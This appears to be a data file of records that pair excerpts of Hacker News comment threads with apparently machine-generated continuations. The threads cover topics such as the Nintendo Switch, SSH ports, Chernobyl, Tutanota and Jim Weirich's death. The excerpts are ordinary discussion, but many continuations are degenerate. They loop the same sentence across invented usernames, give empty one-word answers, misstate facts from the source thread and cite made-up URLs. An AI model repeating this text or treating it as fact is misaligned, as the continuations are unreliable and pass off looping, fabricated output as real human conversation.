shortcut"} +{"output_text": "github.com/francoislaberge/shrinkray)\n\n~~~\njoshuamorton\nI'm curious, what is the motivation for this?\n\n~~~\nendergen\nI'm a developer and I wanted to make a smaller Electron app. I've been\nexperimenting with this for a while and I've found that it's a lot easier to\nmake a smaller app than it is to make a larger app.\n\nI've also found", "input_text": ". But would anyone put up with it?)\n\n~~~\ncandiodari\nHow about the paradigm that was in use for, oh, 3-4 decades, before the web?\n\nThe general idea:\n\n \n \n void OnPaint(PaintCommands p, Rect limitToRect)\n \n\nYou can finally sort-of do this, with RequestAnimationFrame and Canvas\nmaximized, and it is indeed way faster than HTML, at least, on my desktop. It\nresizes if that's what you do inside of it. For games this is pretty much\nmandatory.\n\nIt still sucks in many ways though. More could be achieved with just directly\nexposing OnPaint, 2d and 3d versions. Plus various basic things, like copy-\npaste, don't work.\n\nIt doesn't satisfy half your demands, I realize that (though windows\naccessibility can be quite good too, and the web's accessibility sucks badly).\nBut I would argue that having actual complex apps was worth more (compare MS\nOffice to Office 360 or Google Docs, or worse, compare things like Corel Draw\nor Lucidchart to the Lucidchart web app, or any other HTML5 drawing/charting\napp).\n\nAnd let's just not talk about Desktop Games versus either web games or even\nphone games. It's depressing.\n\n~~~\nmajewsky\nHave fun fulfilling any sort of accessibility requirements with this.\n\n------\nendergen\nI'v been experimenting with trying to make a smaller Electron like Javascript\napplication wrapper. It's called Shrinkray, and only adds 60K of overhead to\nthe size of the app. See:\n[https://github.com/francoislaberge/shrinkray](https://"} +{"output_text": "\n\n------\njamespo\nI'm really excited about this. I've been waiting for a portable console for\nyears. I'm not a gamer, but I love the idea of having a portable console that\ncan play games.\n\nI'm not sure if I'll be able to play the Switch in portable mode, but I'm\ndefinitely going to try.\n\n~~~\nkalleboo\nI'm not a gamer either, but I'm really", "input_text": " I never went to the nintendo portables, so I was shockingly oblivious\nabout these. I define v2 as both \"set of games you can play on it is identical\nto the first one\", and \"not a retro notalgia remake\". But even by that\nstandard, wikipedia tells me you gave a lot of good examples. I can only hope\nthe switch makes the list, because I'm not interested in spending significant\ngame time with a handheld tablet, but I also need enough distance to flirt\nwith their limitations.\n\n------\nnstart\nJust got mine. Charged and used. This thing is such a joy to use. I'll\nprobably play with it more in mobile mode. It feels good to hold it. And yes\nit's underpowered on the spec sheet but at the same time, it works really\nwell. And I'm having a lot of fun with it so for me that's the main thing\nreally :D.\n\n~~~\nPanoramix\nI don't understand the negativity based on technical performance. The thing is\nsupposed to be fun to play, not bring you closer to the limits of what modern\ntechnology can achieve. Nintendo has some extremely fun games that I'd rather\nplay very much before an extremely high performance super high HD game that\nultimately falls flat.\n\n~~~\ncmrdporcupine\nMuch of the negativity is related to the fact that the launch game itself does\nnot play well when docked.\n\nAnd this seems unjustifiable given how well the same chipset does in the\nNVIDIA Shield, which is capable of driving 4k games just fine.\n\n~~~\nPanoramix\nI was not aware of that. Which is strange since I read more than 10 reviews,\nsurely they would have noticed?"} +{"output_text": ".\n\n~~~\njarrett\nI'm not a lawyer, but I'm guessing that the reason he's not being represented\nby a lawyer is that he's not paying one.\n\n~~~\nwpietri\nI'm not a lawyer either, but I'm guessing that the reason he's not being\nrepresented by a lawyer is that he's not paying one.\n\n------\njoshuahedlund\nI'm not a lawyer, but I'm guessing that the", "input_text": " parts where he\nlists all the defendants. After page 37 it's just copies of the laws,\nregulations and screenshots.\n\nAssuming he hired a lawyer to file his other case claiming arbitrary\nenforcement of the CA law against his company (discussed in paragraph 4 of the\ncomplaint linked to above), that one seems much more likely to go somewhere\nalthough relief at this point is pretty unclear.\n\nAlso the first time I've noticed someone use \"pivot\" in the Lean Startup sense\nin a legal complaint (fn. 3).\n\n------\ngojomo\nOn page 35, in order to represent his own company as a non-lawyer, Greenspan\nappeals for an exception to the rule that his corporation, as the plaintiff,\nmust retain legal counsel. He bases this request on (among other reasoning)\nthe _Citizens United_ decision.\n\nLike Greenspan, IANAL, but I suspect his complaint will die quickly on that\nbasis alone.\n\n~~~\napaprocki\nThe court replied on 5/8 that he has until 5/22 to retain qualified counsel or\nit will be dismissed without prejudice.\n\n------\njarrett\nDid anyone read the part where he explains that he is not being represented by\na lawyer? (\"REQUEST FOR CIVIL LOCAL RULE 3-9(b) EXEMPTION AND RETIREMENT.\")\nThat seems a very unusual decision indeed. Does anyone have any idea why he\nwould do it that way? Is it probably a money issue?\n\n~~~\nwpietri\nFunny! After reading the first few pages, I said, \"What lawyer is willing to\nput his name on this garbage?\" and paged around in the document. Only to find\nno lawyer's name at the bottom, just his own"} +{"output_text": "'t know if these are the only questions, but I think they are the most\nimportant ones.\n\n~~~\nmattmanser\nI'm not sure what you're trying to say.\n\n1\\. No.\n\n2\\. No.\n\n3\\. No.\n\n4\\. No.\n\n5\\. No.\n\nI'm not sure what you're trying to say.\n\n~~~\nirahul\n> 1\\. No.\n\n> 2", "input_text": ", to\nanyone familiar with the topics, his questions are pretty trivial. The only\nthing under contention is if the topics he considers relevant are actually\nrelevant.\n\n~~~\nmattmanser\nBut what have they got to do with _software development_.\n\nZero. Zilch. Nothing. Absolutely sod all.\n\nFrom the OP's original post, after seeing the questions over the days, his\nclaim:\n\n _If you can't answer the majority of the questions on these four papers, and\nyou're working or intend to work as a software developer, you should ask\nyourself why \u2014 most likely you're either you're missing something you really\nshould know, or you're lucky enough to be working within a narrow area where\nyour deficit doesn't matter_\n\nSo far almost none of the questions on any of the days have been the slightest\nbit 'important' in software development.\n\n~~~\nirahul\n> But what have they got to do with software development. Zero. Zilch.\n> Nothing. Absolutely sod all.\n\nI don't have all of his questions at hand, but from memory:\n\n1\\. Basic knowledge of statistics and probability is required for machine\nlearning.\n\n2\\. His question about zeroing multi-dimension array is to test if you\nunderstand the under lying memory model.\n\n3\\. Do we really need to discuss why you should know how cryptographic hashes\nwork?\n\n4\\. B-tree has better locality of reference and are de-facto data structure\nfor storage for majority of the cases. Granted, not many people do low level\nstorage, but does that somehow makes it irrelevant to software development?\n\n5\\. Mutex, rw-locks etc are building blocks of concurrent programs.\n\nI don"} +{"output_text": ", we will be able to make\nemacs/emacs-lisp even better.\n\n~~~\njlgreco\nI think the problem is that the language is not the problem. The problem is\nthat the language is not the editor.\n\n~~~\nlispm\nThe language is the editor.\n\n~~~\njlgreco\nI think you are confusing the language with the editor.\n\n~~~\nlispm\nNo, I am not.\n", "input_text": "IDE is implemented.\n\nTherefore, it matters what language is used as a base. People mentioned Lua or\nJavaScript, but they are nowhere near useful enough for the task.\n\nTherefore, it feels to me - and I believe to many other Emacs users as well -\nit matters that there should be _one base language_. Emacs as an Elisp system\nwith text editing capabilities _feels_ like a whole. Everything fits together\nnicely and interacts with each other. It is elegant. Aside for inviting\nmaintenance upkeep and general chaos, making Emacs \"run\" multiple languages at\nthe core is sort of like shattering its soul into many pieces. I don't want to\nhave an editor with multiple-personality disorder.\n\nImagine you're writing an executable in three different programming languages\nmixed together at the same time. That class is written in Common Lisp, but\nit's child classes are written in C++. And exception handling everywhere is\nwritten in Python.\n\nThe sheer mental effort to make all of these work in a conceptual harmony\ninside a single program would be enormous. And it would still feel weird.\n\nThat is what multiple-extension-language Emacs would feel.\n\n~~~\nlispm\n> It's basically backwards of how a typical editor/IDE is implemented.\n\nThe main difference is that the implementation language is a dynamic language,\nwhich is also mostly the implementation language.\n\nThat's similar to how some other IDEs work like Smalltalk or Clozure CL on the\nMac. But those are not focused on implementing an extensible editor. Those are\nIDEs with editing features.\n\n------\nterminalcommand\nIf emacs supported new languages other than elisp, a lot of new blood will\njoin the community. Once we get the new hackers"} +{"output_text": " I'm a light sleeper, I'm not a light sleeper who sleeps on the\ncouch/bed. 2) I'm a heavy sleeper.\n\nI've been using the Sleep Cycle app for a few weeks now and I'm finding it\nvery effective. I'm not sure if it's the app or the fact that I'm a heavy\nsleeper, but I'm sleeping better than I have in a long time.\n\n~~~\nrsaare", "input_text": " the entire day, but only if it's fully charged when I get\nup in the morning.\n\n~~~\nspydertennis\nOh I see. We did a lot of work to make the product use minimal battery on the\nphone so hopefully that helps.\n\n~~~\nchollida1\n> We did a lot of work to make the product use minimal battery on the phone so\n> hopefully that helps\n\nAs a person who pre-ordered the phone, that is appreciated very much:)\n\n------\nrsaarelm\nAfter reading the previous thread, I got interested in this and dug up the\nfree ElectricSleep app for Android\n(). It seems to be pretty much\nequivalent to iPhone's Sleep Cycle app, it uses the phone's accelerometer with\nthe phone placed on the bed. Only had time to test it one night so far, but it\nmanaged to wake me up easily from a duration of sleep that would usually have\nleft me in zombie mode.\n\nProblem with these things is that getting psyched about a fancy wake-up\ntechnology is likely to create a placebo effect for a while, so I'll need to\nstick with the thing to see how well it works in the long haul. Might look\ninto WakeMate if the accelerometer alarm thing is still working good after a\nmonth or so.\n\nAn interesting thing to try with these things is doing the Everyman sleep\nschedule with a 4-5 hour nightly sleep and several 20 minute naps every day,\nand attacking the most common point of failure where you oversleep on the\nnightly core sleep with the smart alarm.\n\n~~~\nkevinelliott\nI struggle with placing items like my iPhone on the bed for 2 reasons: 1)\nalthough"} +{"output_text": "\nand engine size.\n\n~~~\npedrocr\nI think the 3 series is the only one that has a consistent naming scheme.\n\n------\njoezydeco\nI'm not sure if this is a joke or not, but I've always wondered why the\n\"Mini\" name was used for the smallest car in the lineup.\n\n~~~\njoezydeco\nI guess I'm not the only one who noticed this.\n\n[http", "input_text": "'s a joke, it is taking it too far, so it just\nbe true. => Apparently, the 'Lettuce' was a car, and they also sold the _\"\nMitsubishi Mini Active Urban Sandal\"_. Most cars there are Asian, so I guess\nthis is a sign of a cultural chasm between 'the west' and 'the east'.\n\n------\nacomjean\nVWs used to be named after trade winds: Golf, Scirocco, Jetta...[1] Though now\nits a mixed bag.\n\nAnd BMWs use a model series, engine size. 325i. = 3 series, 2.5 l engine.\nUnless its the sporty version then its just M+series (EG M3)\n\nI have a honda element, I have no idea how it was named, but leads to bad\njokes about being in my ______.\n\n[http://members.iinet.net.au/~felsche/Bernd/trivia/vwcars.htm...](http://members.iinet.net.au/~felsche/Bernd/trivia/vwcars.html)\n\n~~~\npedrocr\nOn BMW it used to be like that but is no longer the case. A 325d is now a 2\nliter engine with a larger turbo. A 340i has a 3 liter engine. And so on.\nThey've kept the model numbering but as smaller engines gained performance and\nefficiency they've replaced smaller engines in larger named cars.\n\n~~~\n013a\nAt least with BMW its consistent. A series number (3) followed by two numbers\nwhere a larger number represents a larger engine (30/40), followed by X if it\nhas all wheel drive. M means performance. Series numbers increase with price"} +{"output_text": " have to.\n\n~~~\njosteink\n> Just imagine www didn't exist and Apple already had ios and apps.\n\nI'm not sure if you're being sarcastic or not, but that's not how the web\nworked.\n\n~~~\ndiminish\nI am not being sarcastic. I am just trying to imagine how the web would have\nbeen if apple didn't exist.\n\n~~~\njosteink\n> I am not being sarc", "input_text": "~~~\nDylan16807\n> Say they implement the scheme you mention in clang and the LLVM linker, so\n> the function bodies of their public APIs end up placed in that privileged\n> region of memory, and those of their private APIs end up in the restricted\n> region.\n\nAgreed that this design is fundamentally flawed, but that's because the coder\nis providing the implementations of private code. Providing that is Apple's\njob.\n\nPut privileged code into a dynamically-linked library that Apple provides.\nOnly code in that block of memory can call private APIs. Pretty\nstraightforward to implement, and requires nothing fancy from the kernel.\n\nOf course this only works if you can prevent the attacker from corrupting\nmemory.\n\n~~~\neuyyn\nI don't know if iOS does randomization of loading addresses, but if so, that'd\nbe a disadvantage.\n\nAnd well, in any case they need to maintain compatibility with current apps\nfor who knows how many years.\n\n~~~\nDylan16807\n> I don't know if iOS does randomization of loading addresses, but if so,\n> that'd be a disadvantage.\n\nSuch a scheme wouldn't stop ASLR. The loader just needs to tell the\nverification code where it put the privileged libraries.\n\n> And well, in any case they need to maintain compatibility with current apps\n> for who knows how many years.\n\nDo they? I think Apple could easily order everyone to switch over to a more\nsecure compiler with a one year deadline.\n\n------\ndiminish\nJust imagine www didn't exist and Apple already had ios and apps. If someone\ncame up with the idea of www and an app called web browser, would apple\naccept it in the app store? They would"} +{"output_text": "ify DOM elements, etc.\n\n------\njulien_c\nI'm not sure if I'm missing something, but I don't see any mention of\njQuery.\n\n~~~\njie\nI'm not sure if I'm missing something, but I don't see any mention of\njQuery.\n\n~~~\njulien_c\nI'm not sure if I'm missing something, but I don't see any mention of\njQuery.\n\n~~~\n", "input_text": "js, I'll push it online and all design credits goes to you\nof course! Myjs.fr has been tweeted and visited a lot since yesterday! @jie\n\n------\nbretthopper\nTwo suggestions:\n\n\\- Get this on GitHub\n\n\\- Get a native english speaker/writer to fix up the copy\n\n~~~\njie\nI'm pushing it on Github and I'm also coming to the States before Summer.\nSure, I'll find nice people to help me fix up the copy!\n\n~~~\ntonyskn\nWhat's the link for my.js on Github?\n\n------\njerome_etienne\nThe work behind is impressive and inovative.\n\nMore general benchmarks would be nice. more real life situations maybe, even\nif it is hard to say what is'real life'.\n\nor simply to fork and to put myjs in there\nto see how it compares.\n\n~~~\njie\nTotally right. I intend to add much more benchmarks and concrete examples in\ndays to come. At first, I wanted to use Slickspeed but Slickspeed is very much\n\"selectors\" oriented. It was useful to have those selectors tests 3 years ago\nwhen each framework had to implement its own selector methods. But today, no\nmatter which framework, under the hood it's the same \"querySelectorAll\"\nmethod. So comparing frameworks according to their selectors like slickspeed\nis a bit like comparing the performances of 2 PCs with the same hardware. In\nfact, the real difference between JS frameworks comes from the way they handle\ntheir HTMLElement wrappers, how those are created, how fast they access and\nmod"} +{"output_text": "http://www.wakemate.com/blog/wake-mate-review-the-science-of-\nsleep-measurement/[/link]) to determine when you are awake and asleep._\n\nI don't know if I'm missing something, but how is this scientifically proven?\n\n~~~\njrockway\nIt's not. It's a wristband that measures your heart rate.\n\n~~~\ncsomar\nI know, but how is", "input_text": " of the phone as safe and inert, not\nrestricting your movement, #2 won't be such a problem?\n\n------\nmrchess\nA couple questions:\n\n1\\. Can anyone compare WakeMakes with that clock thing that tracks your eye\nmovement by wearing an eyemask? The name of the clock escapes me at the\nmoment, will edit this post once I remember.\n\nedit: it's called Zeo\n\n2\\. If I know I wake up at least once a night to use the bahtroom out of habit\ndoes this disrupt the wake-up system in any way?\n\n~~~\nclewiston\nWe have a comparison chart here: \n\nWakeMate is cheaper, more comfortable, and easier to use.\n\nGetting up in the middle of the night won't affect anything. Our analytics\nsystem will, however, tell you that you woke up during the night.\n\n~~~\nFrazzydee\nYou should probably update the price column. It still says $49.99, although\nthe price increased to $59.99.\n\n------\nmoozilla\nIs it possible to use this if you don't own a smart phone?\n\n~~~\nanon-e-moose\nDitto. I'm quite happy with my qwerty-keyboard dumbphone, but I would love to\nbuy one of these!\n\n~~~\nellism\nIt works with newer generation iPod Touches or iPad, so if you really wanted\none, you could always buy one of these devices to use it with.\n\n------\ncsomar\n_The WakeMate is a comfortable wristband that you wear when you sleep. It\nmeasures subtle body movements\u2014a scientifically proven method\n([link]"} +{"output_text": "\n~~~\njobigoud\nI agree with the fact that China and India need to focus on their emissions,\nbut it seems ridiculously convenient for someone from a western country to ask\na couple billion people to reduce their emissions while they themselves will\nfind every opportunity to reduce their own accountability.\n\nI'm not sure what you mean by \"find every opportunity to reduce their own\naccountability\".\n\n~~~\nomk\nI mean that the western countries are the ones that", "input_text": ".\n\n~~~\nyk\nIt's also the largest country, by a large margin.\n\n~~~\nrimliu\nWhere does this leave Russia which is almost twice as big and Canada which is\nonly slightly bigger? And China is less than 1% larger than USA.\n\nPopulation-wise China is the largest, but India is not that far behind.\n\n~~~\ntrickstra\nSiberia\n\n------\nsatyenr\nPreviously discussed at\n[https://news.ycombinator.com/item?id=20029966](https://news.ycombinator.com/item?id=20029966)\n\n~~~\npcdoodle\nThanks, Thought I was going crazy.\n\nLol about it being crops and not trees, what a crap article.\n\n------\nmytailorisrich\nForest coverage has been increasing in several European countries as well\n(e.g. UK and France off the top of my head)\n\n------\nknown\nThis goes for a toss when correlated with\n[https://en.wikipedia.org/wiki/List_of_countries_by_greenhous...](https://en.wikipedia.org/wiki/List_of_countries_by_greenhouse_gas_emissions)\n\n~~~\ngovg\nWhy not do it per capita instead?\n\n~~~\njobigoud\nClimate Change doesn't care about per capita.\n\n~~~\nomk\nClimate change doesn't care about which country either.\n\nI agree with the fact that China and India need to focus on their emissions,\nbut it seems ridiculously convenient for someone from a western country to ask\na couple billion people to reduce their emissions while they themselves will\nfind every opportunity to reduce their own accountability.\n"} +{"output_text": " and didn't know anyone who had.\n\nI was surprised. I had read that the reservoir was a popular place to walk\naround and I had read that it was a popular place to walk around because it's\na gathering point for people in the area.\n\nI'm curious if anyone else has had this experience.\n\n~~~\njlgreco\nI have. I live in Silver Lake, and I have never walked to the reservoir. I\nhave walked to the", "input_text": "/ncurrent/full/ngeo2400.html)\n\n~~~\n6t6t6\nThe streets of most cities in South Europe are covered by deciduous trees.\nIMHO, it is the best way to make the cities walkable in summer while not\npreventing the sun to warm the streets in winter. Also, cities with trees on\nthe streets are beautiful.\n\nOf course, that mean that the council has to spend money taking care of that\ntrees.\n\n------\nsologoub\nMuch of the rail expansion is rather disappointing. For example in expo phase\n2, closer you get to ocean the better spaced the stations are (closer\ntogether), but between Bundy and sepulveda, there are no stations and little\nsane way to go in between, yet Bundy station is less than a mile away from\n26th st station.\n\nTo add insult to injury, I recently followed the much touted bike path that is\nsupposed to connect to existing SM bike paths at 17th street, but the damned\nthing ends at Cloverfield with no way that I can tell of safely getting to\n17th street or anywhere near a designated bike lane. And no, I do not consider\nit safe to try and ride on Olympic blvd without a protected lane...\n\n------\nbpyne\nA question for the LA natives on here.\n\nLast year at this time, I had the chance to visit LA for my first time. I\nstayed in a B&B in Los Feliz and spent a few days walking around it and Silver\nLake. My first day I asked the B&B owner about walking to the reservoir\nbecause I read online that it's a gathering point for people in the area. The\nowner told me he had never walked there"} +{"output_text": " x-rays.\n\n~~~\njessaustin\n_i really don't understand why people keep taking the risk._\n\nBecause they're not aware of the risk?\n\n~~~\ndasbsd\ni'm not talking about the risk of radiation, i'm talking about the risk of\ncancer.\n\n~~~\njessaustin\nI don't think that's a fair comparison. The risk of cancer from a single\nradiation exposure is very small. The risk", "input_text": "_rad\nI've been to Chernobyl in 2013 and while I've read a lot about the disaster in\nadvance, I couldn't grasp the whole dimension. Shot some pictures with an old\nmamiya 645\n[https://photos.google.com/album/AF1QipNThxVDtsEv9O_FuPty6Opr...](https://photos.google.com/album/AF1QipNThxVDtsEv9O_FuPty6OprdWXYqF_BaULq55aK)\n\n~~~\nBuildTheRobots\n404 error :(\n\n------\nYadi\nI learned all about Chernobyl from the video game Call Of Duty: Modern\nWarefare. It's tragic and sad!\n\nThere are some villages in North Iraq where it's similar to this, due to the\nchemical bombing. It's gives tou shivers just knowing that a town use to be a\nnormal day to day living place and now just a ghost town.\n\n\"50,000 people used to live here, now its a ghost town\" -MW2\n\n------\navodonosov\nAren't you afraid of Strontium when visit the zone?\n\nBecause it has chemical properties of calcium, so can participate in your\nmetabolism and remain in your body (bones), constantly irradiating you.\n\n------\nalena1108\nWitnessing Chernobyl effect on my homeland Belarus, I can never understand\npeople fascination with this place. But bringing awereness is a good thing\n\n------\ndasbsd\ni really don't understand why people keep taking the risk. only one damaged\ngnome in one single cel will be enough to give you cancer in 10 years. I\npersonally dont't even take dental"} +{"output_text": " the option to use a non-standard port.\n\n~~~\njlgaddis\n> _Internet routers don 't typically do any QoS (except to reduce the priority\n> - bittorrent/etc), let alone prioritize 22._\n\nI'm not sure I understand what you're saying here.\n\n> _And within your own network, you have the option to use a non-standard\n> port._\n\nI'm not sure I understand", "input_text": " if you can argue 'no protection' while at the same time\nadmitting that the number of attacks was greatly reduced for a while: I always\nhated that advice with a passion.\n\nNo, do not run SSH on a non-default port. It's nothing but an obscurity hack,\ndoes little good and breaks a lot of workflows (routers that prioritize port\n22 as interactive traffic, firewalls that explicitly allow ssh - on port 22 of\ncourse, tools that are awkward to use as soon as you need to use a different\nport than the _standard_ one).\n\nI admit that I mocked people recommending that practice in the past. That's\nchildish of course, but if the data of this submission is correct I can now\nadd a more serious 'Please do not do that' argument to my list.\n\n~~~\nguiambros\nThere's a strong reason for advocates (like myself) for running ssh on non-\nstandard ports: it reduces 99% of automated attacks and bots.\n\nYes, you could use fail2ban and ban half the internet, but that just clogs\nyour filtering rules and makes your system waste memory and cycles. Case in\npoint: one of my servers with ssh on port 22 had +9,000 denied IPs over less\nthan one year. On a non-std port, ~100.\n\nThere's almost no drawback to using a non-standard port. Everything that uses\nssh allow port customization (and I wouldn't trust something that doesn't).\n\n _> routers that prioritize port 22 as interactive traffic_\n\nInternet routers don't typically do any QoS (except to _reduce_ the priority -\nbittorrent/etc), let alone prioritize 22. And within your own network, you\nhave"} +{"output_text": ". I'm not a fan of the\ncompany, but I'm not going to say that it's a bad thing that they're\nsupporting the military.\n\n~~~\njessaustin\n_I 'm not a fan of the company, but I'm not going to say that it's a bad thing\nthat they're supporting the military._\n\nI'm not a fan of the company, but I'm not going to say that it's a bad thing\nthat", "input_text": " got at least one on every boat rather than make everyone\nlearn. We've got plenty of ways to defeat jamming, the newest block of GPS\nsatellites have ways to increase signal power in certain areas and anti-\nradiation missiles can blow up a jammer. GPS only comes from space so it's\npretty easy to find someone on the ground messing with it. We also have things\nlike star trackers that are used on satellites to determine position without\nGPS that could easily be implemented on a boat if not already on there. These\nsystems could be hardened against EMPs and only brought out in case of\nabsolute emergency. I don't see the need of every navigator having their own\nsextant.\n\n~~~\ngoatinaboat\n_How many people on the boat do you need that know celestial navigation?_\n\nEasy. The same number that know how to use a GPS. Your one guy may be the\nfirst casualty.\n\n _We've got plenty of ways to defeat jamming, the newest block of GPS\nsatellites have ways to increase signal power in certain areas and anti-\nradiation missiles can blow up a jammer._\n\nWhat do you do when your enemy dumps a load of sand in orbit?\n\n~~~\nls612\nGPS isn\u2019t in low earth orbit it\u2019s in a very high orbit so it shouldn\u2019t be\nvulnerable to either asat missiles or space junk clogging up its orbit\n\n------\nsandworm101\n>> IVAS is a Microsoft-designed heads-up display that functions as a fight-\nrehearse-train system, among other roles.\n\nSo... no invasions on patch tuesday? In all seriousness, I'm in the military\nmyself and therefore have to use microsoft software"} +{"output_text": " a good article on the subject:\n[http://arstechnica.com/science/news/2010/03/radiation-\nprotection...](http://arstechnica.com/science/news/2010/03/radiation-protection-\nsuits-are-a-bad-idea-for-everyone.ars)\n\n~~~\nTichy\nI don't think the inverse square law is relevant here. I am not sure if it is\n", "input_text": " of people.\n\nBut those kinds of projects will get starved for funding. So we'll end up with\na lot of panicked people in California who shoot down new nuke plants in favor\nof coal/natural gas (the coal miners who die are in China, so there are no\npolitical consequences) and underestimate things like seawalls. California is\nsaid to be overdue for a big quake, but I hope they're wrong about that.\n\n~~~\nTichy\nNonsense, Japan already has invested a lot in Tsunami protection, they will\nnot starve funding for that. Who says it is an \"either invest in anti-Tsunami\nor anti-nuclear-power measures\" kind of thing? And no, I don't live in a\ncoastal area, so enhancing seawalls is not my interest or priority.\n\nAs for protection suit: contamination, why should it matter if it is only as\nbad as eating a banana? Your banana argument really makes no sense.\n\nI have little hopes for nuclear power to go away, nor fossile fuel plants. I\nthink it would be possible, but lifestyles would have to change too much (for\nthe better in my opinion, but many people would disagree). We certainly could\nsave a lot of power, so it would not have to be necessary to replace nuclear\npower plants with fossile fuel plants.\n\n~~~\nNatsu\n> As for protection suit: contamination, why should it matter if it is only as\n> bad as eating a banana? Your banana argument really makes no sense.\n\nHow radiation affects one's body is a complex issue. The inverse square law\nalso comes into effect. So something can be dangerous close up, but no threat\nto anyone who doesn't get close.\n\nArs Technica has"} +{"output_text": "[edit] The email that it sends to external addresses does not have a text/plain\npart, only html\n\n[edit] Stores your email address in session storage and then pre-fills next\ntime you log in. Does not let you opt in or out and doesn't warn you that this\nwill happen. Unsuitable for a \"public\" machine.\n\n[edit] The email that it sends to external addresses does not have a text/plain\npart, only", "input_text": " should be customers but aren't--find out why. If you\nchase the existing players you end up with a large feature set and the need\nfor a large development effort that looks more superset than distinct. Think\nabout features you can delete from existing solutions and still appeal to a\nsegment of users. Think about one or two missing features you can add after\nyou have deleted many of the existing ones. A really good book on this is\n\"Four Steps to the Epiphany\" by Steve Blank, cheapest place to buy it is here\n\n\n~~~\nfelipe\n\"Four Steps to the Epiphany\" is a must-read. Also, get \"Bootstrapping\" from\nGreg Gianforte.\n\n------\nrokhayakebe\nlaunch.\n\n~~~\nRaphael\napt.\n\n------\nsabat\nWhy be concerned about raising red flags? I don't think I would be. As PG has\nreminded us, the idea is far less important than its implementation.\n\n \nTutanota: GPLv3-licensed, end-to-end encrypted email - jokoha\nhttps://tutanota.de\n======\nmike-cardwell\nLoads external images. By Default. With no option to turn off.\n\nNot a viable webmail client for anyone who expects privacy.\n\n[edit] The email that it sends to external addresses does not have a\ntext/plain part, only html\n\n[edit] Stores your email address in session storage and then pre-fills next\ntime you log in. Does not let you opt in or out and doesn't warn you that this\nwill happen. Unsuitable for a \"public\" machine.\n\n"} +{"output_text": ", and I think it's\npretty cool.\n\n~~~\npnathan\nI think Scheme is a good choice.\n\nI think the problem is that Scheme is a Lisp, and Lisp is a language.\n\nI think that the problem is that Scheme is a language, and Lisp is a\nprogramming paradigm.\n\nI think that the problem is that Scheme is a language, and Lisp is a\nprogramming paradigm.\n\nI think that the problem is", "input_text": "\nNortheastern University's and University of Utah's faculty, to \"seek to\ndevelop bug-free, secure technology using brand-new programming languages that\nenable programmers to write large, complex software.\"[1]\n\nAround campus, it's been described as an opportunity for Shivers et al. to\nwrite a Operating System built completely with functional languages, from the\nlow-level drivers up to user space tools and new programming languages.\n\nMy personal thoughts is that it'd be awfully cool to have something like\n\"Emacs as a real OS.\" Perhaps it is lack of knowledge and self-confidence or\nthe limited nature of Emacs, but I find it way easier to change the way Emacs\nworks than to change the way the Linux kernel, GNOME, GNU tools, etc. work.\n\n[1] Page 12 of \n\n~~~\npnathan\nI think it would be interesting to chop a *macs into an operating system. I\nwould approach it in an iterative fashion with these initial goals:\n\n\\- Replace elisp with Common Lisp\n\n\\- Build os-level threading support\n\n\\- Build a hardware abstraction layer / target a 'bare' machine.\n\nThat gets someone a 'ways' towards a traditional Lisp OS.\n\nI think one of the big questions that arises in for a modern Lisp system is\nthe design of of multiple processes and multiple users.\n\n~~~\ndanking00\nPersonally, I'd rather toss Lisp entirely and go with Scheme, but something\ndefinitely needs to be done about elisp. There's a small group of undergrads\nhere at NU hacking on Edwin, a Scheme based Emacs clone"} +{"output_text": "joshu\nI'm so sorry to hear this.\n\n------\njoshu\nI'm so sorry to hear this.\n\n------\njoshu\nI'm so sorry to hear this.\n\n------\njoshu\nI'm so sorry to hear this.\n\n------\njoshu\nI'm so sorry to hear this.\n\n------\njoshu\nI'm so sorry to hear this.\n\n------\njoshu\n", "input_text": ", who was _really_ smart.\n\n------\ndraegtun\nMy first opensource creation was a port of Jim's wonderful Builder gem. Many\nthanks Jim for the inspiration you'll be sorely missed.\n\n------\nkidmenot\nThis is sad. I'm not much of a Rubyist, but I leant on Rake quite a bit to\nautomate builds and whatnot.\n\n------\ntheceprogrammer\nJim, rest in peace brother! you will be cherished forever along with all the\ngreats. You have joined the ranks of the fallen heros of both our craft and\notherwise. A life well lived, full of joy, full of love.... we will miss you.\n\n------\ngirishso\nI can never forget the discussion I had with Jim during Rubyconf India last\nyear. He was so devoted to coding\u2026 I envied him. Very friendly and energetic.\nVery sad to hear the news.\n\n------\ncharlieflowers\nJim Weirich was a legend, and deservedly so. Rake was (and is) a masterpiece.\nI'm sad to see Jim go and I want to pay respect to his contributions and his\nlife.\n\n------\ndiminish\nSad day, just read his last tweet few hours ago.....\n\n------\nseanhandley\nI'm devestated to hear this. I met Jim at Scot Ruby 2012. A sweet, bright,\nkind and funny man. RIP.\n\n------\nshahinh\nJim was a great man and an awesome contributor to the Ruby community. He will\nbe missed indeed. RIP.\n\n------\njackson1990\nJim was a great guy and an awesome contributor to the Ruby community. He will\nbe missed indeed. RIP.\n\n------\n"} +{"output_text": " of the US government.\n\n~~~\nmschuster91\n> I agree with you that all the privacy invading things here are a big\n> problem, but why do you blame banks for AML/KYC?\n\nBecause the banks are the ones who are supposed to be the gatekeepers of\nmoney, and they are not doing their job.\n\n> but why do you blame banks for AML/KYC?\n\nBecause the banks are the ones who are supposed to", "input_text": " another person in less than 10 minutes which I know from\nexperience is pipe dream.\n\n------\ndeltaqueue\nI had a similarly poor experience[1]. Many people are retorting that you have\nto go through this process with all financial institutions. To those, I say\nyou're missing the point. We still have to answer a lot of questions regarding\nregulation around cryptocurrencies, but part of the allure is that you\nshouldn't have to jump through a bunch of hoops to use bitcoin. Furthermore,\nthe first (and only) time I dropped by the bitcoin markup was astronomical.\n\nIt's naive to think we'll resolve this overnight, but until then there's no\npoint to using a robocoin ATM.\n\n[1] [http://www.jauntworthy.com/blog/2014/2/21/first-\nimpression-o...](http://www.jauntworthy.com/blog/2014/2/21/first-impression-\nof-robocoins-bitcoin-atm)\n\n------\nmschuster91\nThe main problem is the PII like palm prints, driver ID etc. and no ATM\noperator right in his mind can leave that step out if the ATM handles dollars\nin any amount.\n\nFuck banks, fuck their anti-money-laundering regulations and fuck the\npoliticians for the \"war on drugs\" which actually led to the creation of said\nanti-money-laundering rules.\n\n~~~\njnbiche\nI agree with you that all the privacy invading things here are a big problem,\nbut why do you blame banks for AML/KYC? I mean, there's plenty of other things\nto blame banks for, but the ID, photo, etc. requirements are due solely to the\npolicies"} +{"output_text": " guy who was caught with a joint in his pocket.\n\n~~~\nXeoncross\nI'm not sure if you're being sarcastic, but I'm not sure how that's relevant.\n\n~~~\nshams93\nIt's relevant because it's a symptom of a larger problem.\n\n------\njoshuaheard\nI'm a little surprised that the article doesn't mention the fact that the\nfederal government has been paying for the cost of incarceration for a long\n", "input_text": " be unemployed at time of re-arrest.\nContrariwise, there's very little chance of someone who 